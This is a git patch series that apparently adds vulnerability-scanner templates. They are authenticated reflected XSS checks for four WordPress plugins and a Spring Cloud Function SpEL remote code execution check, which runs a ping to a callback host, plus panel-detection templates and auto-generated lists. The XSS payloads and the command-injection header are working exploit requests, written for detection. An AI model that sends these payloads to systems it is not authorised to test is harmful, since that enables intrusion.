From 014a8c9192fc7ddcae93d6fad715f6b065c63b18 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sun, 27 Mar 2022 19:55:03 +0530 Subject: [PATCH 01/23] 4 New Wordpress Authenticated Templates (#3990) * Create xss-childlist-selector.yaml * Update xss-childlist-selector.yaml * Rename xss-childlist-selector.yaml to aem-xss-childlist-selector.yaml * adding metadata * Create CVE-2021-25112.yaml * Create CVE-2022-0189.yaml * Create CVE-2021-25055.yaml * Create CVE-2022-0148.yaml * misc update Co-authored-by: sandeep --- cves/2021/CVE-2021-25055.yaml | 44 ++++++++++++++++++++++++++++++++ cves/2021/CVE-2021-25112.yaml | 44 ++++++++++++++++++++++++++++++++ cves/2022/CVE-2022-0148.yaml | 43 +++++++++++++++++++++++++++++++ cves/2022/CVE-2022-0189.yaml | 48 +++++++++++++++++++++++++++++++++++ 4 files changed, 179 insertions(+) create mode 100644 cves/2021/CVE-2021-25055.yaml create mode 100644 cves/2021/CVE-2021-25112.yaml create mode 100644 cves/2022/CVE-2022-0148.yaml create mode 100644 cves/2022/CVE-2022-0189.yaml diff --git a/cves/2021/CVE-2021-25055.yaml b/cves/2021/CVE-2021-25055.yaml new file mode 100644 index 0000000000..c8ea32bc6f --- /dev/null +++ b/cves/2021/CVE-2021-25055.yaml @@ -0,0 +1,44 @@ +id: CVE-2021-25055 + +info: + name: FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS) + author: DhiyaneshDK + severity: medium + description: | + The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the "visibility" parameter. + reference: + - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055 + tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 \ No newline at end of file diff --git a/cves/2021/CVE-2021-25112.yaml b/cves/2021/CVE-2021-25112.yaml new file mode 100644 index 0000000000..455b5df5e1 --- /dev/null +++ b/cves/2021/CVE-2021-25112.yaml @@ -0,0 +1,44 @@ +id: CVE-2021-25112 + +info: + name: WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS) + author: DhiyaneshDK + severity: medium + description: | + The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting + reference: + - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25112 + tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-0148.yaml b/cves/2022/CVE-2022-0148.yaml new file mode 100644 index 0000000000..8ba43c4659 --- /dev/null +++ b/cves/2022/CVE-2022-0148.yaml @@ -0,0 +1,43 @@ +id: CVE-2022-0148 + +info: + name: All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS) + author: DhiyaneshDK + severity: medium + description: The plugin was vulnerable to reflected XSS on the my-sticky-elements-leads admin page. + reference: + - https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148 + tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-0189.yaml b/cves/2022/CVE-2022-0189.yaml new file mode 100644 index 0000000000..bff603451c --- /dev/null +++ b/cves/2022/CVE-2022-0189.yaml @@ -0,0 +1,48 @@ +id: CVE-2022-0189 + +info: + name: WP RSS Aggregator < 4.20 - Reflected Cross-Site Scripting (XSS) + author: DhiyaneshDK + severity: medium + description: | + The plugin does not sanitise and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to a Reflected Cross-Site Scripting. + reference: + - https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189 + tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 From 248a3f5d2d2842289a1bd6ef37c71c9dd1e70951 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Sun, 27 Mar 2022 14:25:17 +0000 Subject: [PATCH 02/23] Auto Generated New Template Addition List [Sun Mar 27 14:25:17 UTC 2022] :robot: --- .new-additions | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.new-additions b/.new-additions index 5a821de2f9..9468534a5e 100644 --- a/.new-additions +++ b/.new-additions @@ -2,8 +2,12 @@ cnvd/2021/CNVD-2021-01931.yaml cnvd/2021/CNVD-2021-14536.yaml cves/2020/CVE-2020-17456.yaml cves/2020/CVE-2020-27467.yaml +cves/2021/CVE-2021-25055.yaml +cves/2021/CVE-2021-25112.yaml cves/2021/CVE-2021-41691.yaml cves/2021/CVE-2021-42063.yaml +cves/2022/CVE-2022-0148.yaml +cves/2022/CVE-2022-0189.yaml cves/2022/CVE-2022-0437.yaml exposed-panels/avtech-avn801-camera-panel.yaml exposed-panels/beyondtrust-login-server.yaml From c8380b3bf87c9e673130e739d0bbdc91761fcb61 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Sun, 27 Mar 2022 14:25:50 +0000 Subject: [PATCH 03/23] Auto Generated CVE annotations [Sun Mar 27 14:25:50 UTC 2022] :robot: --- cves/2021/CVE-2021-25055.yaml | 5 +++++ cves/2021/CVE-2021-25112.yaml | 5 +++++ cves/2022/CVE-2022-0148.yaml | 5 +++++ cves/2022/CVE-2022-0189.yaml | 5 +++++ 4 files changed, 20 insertions(+) diff --git a/cves/2021/CVE-2021-25055.yaml b/cves/2021/CVE-2021-25055.yaml index c8ea32bc6f..8bf3d2b7d6 100644 --- a/cves/2021/CVE-2021-25055.yaml +++ b/cves/2021/CVE-2021-25055.yaml @@ -10,6 +10,11 @@ info: - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055 tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-25055 + cwe-id: CWE-79 requests: - raw: diff --git a/cves/2021/CVE-2021-25112.yaml b/cves/2021/CVE-2021-25112.yaml index 455b5df5e1..246d7d9955 100644 --- a/cves/2021/CVE-2021-25112.yaml +++ b/cves/2021/CVE-2021-25112.yaml @@ -10,6 +10,11 @@ info: - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25112 tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-25112 + cwe-id: CWE-79 requests: - raw: diff --git a/cves/2022/CVE-2022-0148.yaml b/cves/2022/CVE-2022-0148.yaml index 8ba43c4659..daccc054d6 100644 --- a/cves/2022/CVE-2022-0148.yaml +++ b/cves/2022/CVE-2022-0148.yaml @@ -9,6 +9,11 @@ info: - https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148 tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.40 + cve-id: CVE-2022-0148 + cwe-id: CWE-79 requests: - raw: diff --git a/cves/2022/CVE-2022-0189.yaml b/cves/2022/CVE-2022-0189.yaml index bff603451c..5cf31d6c23 100644 --- a/cves/2022/CVE-2022-0189.yaml +++ b/cves/2022/CVE-2022-0189.yaml @@ -10,6 +10,11 @@ info: - https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189 tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2022-0189 + cwe-id: CWE-79 requests: - raw: From 38a902317f32d53c5e10b117f7118e6bf30757f2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9C=E6=96=B9=E6=9C=89=E9=B1=BC=E5=90=8D=E4=B8=BA?= =?UTF-8?q?=E5=92=B8?= Date: Sun, 27 Mar 2022 22:47:28 +0800 Subject: [PATCH 04/23] add springcloud-function-spel-rce (#3991) * add springcloud-function-spel-rce * misc updates Co-authored-by: sandeep --- .../springcloud-function-spel-rce.yaml | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 vulnerabilities/springcloud/springcloud-function-spel-rce.yaml diff --git a/vulnerabilities/springcloud/springcloud-function-spel-rce.yaml b/vulnerabilities/springcloud/springcloud-function-spel-rce.yaml new file mode 100644 index 0000000000..7367ffb06e --- /dev/null +++ b/vulnerabilities/springcloud/springcloud-function-spel-rce.yaml @@ -0,0 +1,33 @@ +id: springcloud-function-spel-rce + +info: + name: Spring Cloud Function SPEL RCE + author: Mr-xn + severity: critical + reference: + - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f + - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE + tags: springcloud,rce + +requests: + - raw: + - | + POST /{{rand_base(8)}} HTTP/1.1 + Host: {{Hostname}} + spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping {{interactsh-url}}") + Content-Type: application/x-www-form-urlencoded + + {{rand_base(8)}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + - "dns" + condition: or + + - type: status + status: + - 500 \ No newline at end of file From e9f99f35a106b08dec230b82d416fd5cea773f74 Mon Sep 17 00:00:00 2001 From: GitHub Action Date: Sun, 27 Mar 2022 14:47:42 +0000 Subject: [PATCH 05/23] Auto Generated New Template Addition List [Sun Mar 27 14:47:42 UTC 2022] :robot: --- .new-additions | 1 + 1 file changed, 1 insertion(+) diff --git a/.new-additions b/.new-additions index 9468534a5e..ed19415693 100644 --- a/.new-additions +++ b/.new-additions @@ -22,4 +22,5 @@ token-spray/api-cloudflare.yaml vulnerabilities/huawei/huawei-hg255s-lfi.yaml vulnerabilities/other/oracle-fatwire-lfi.yaml vulnerabilities/other/tekon-info-leak.yaml +vulnerabilities/springcloud/springcloud-function-spel-rce.yaml vulnerabilities/wordpress/wordpress-wp-cron.yaml From bdb1b4fbb053335a55ff0a0e7b8a64961de42413 Mon Sep 17 00:00:00 2001 From: idealphase Date: Sun, 27 Mar 2022 21:52:41 +0700 Subject: [PATCH 06/23] Added pfsense-login.yaml and hp-color-laserjet-detect.yaml (#3989) * Added pfsense-login.yaml Added pfsense-login.yaml * Added hp-color-laserjet-detect.yaml Added hp-color-laserjet-detect.yaml * Updated hp-color-laserjet-detect.yaml Deleted model name for more coverage result in search engine --- exposed-panels/pfsense-login.yaml | 36 +++++++++++++++++++++++++++++++ iot/hp-color-laserjet-detect.yaml | 36 +++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100644 exposed-panels/pfsense-login.yaml create mode 100644 iot/hp-color-laserjet-detect.yaml diff --git a/exposed-panels/pfsense-login.yaml b/exposed-panels/pfsense-login.yaml new file mode 100644 index 0000000000..115b15340f --- /dev/null +++ b/exposed-panels/pfsense-login.yaml @@ -0,0 +1,36 @@ +id: pfsense-login + +info: + name: pfSense Login + author: idealphase + severity: info + description: free network firewall distribution, based on the FreeBSD operating system with a custom kernel and including third party free software packages for additional functionality. + reference: + - https://www.pfsense.org/download/ + - https://www.pfsense.org/getting-started/ + metadata: + shodan-query: http.title:"pfSense - Login" + google-query: intitle:"pfSense - Login" + tags: panel,pfsense + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "pfSense - Login" + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - '